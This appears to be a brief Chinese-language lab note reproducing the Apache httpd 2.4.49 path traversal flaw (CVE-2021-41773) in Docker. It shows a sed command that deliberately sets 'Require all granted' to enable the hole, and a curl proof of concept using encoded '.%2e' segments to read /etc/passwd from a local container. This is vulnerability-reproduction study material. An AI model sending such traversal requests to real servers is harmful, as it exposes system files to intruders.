../ 的路径访问 Web 根目录之外的文件httpd:2.4.49(DockerHub)Require all granted(启用路径遍历)
-> 基础镜像:httpd:2.4.49(存在漏洞的版本)
-> 'sed -i 's/Require all denied/Require all granted/g':允许路径遍历及外部访问
-> 定义 Apache
-> 将 8080 端口映射到容器的 80 端口
运行 docker
执行 PoC
-> curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
-> /etc/passwd 包含敏感信息,%2e 是 .. 的 URL 编码,表示跳转至上级目录
-> 通过路径操作使服务器访问 /etc/passwd 并输出内容
-> 如上图所示,可访问敏感目录
https://github.com/JIYUN02/cve-2021-41773
-> 存在提交历史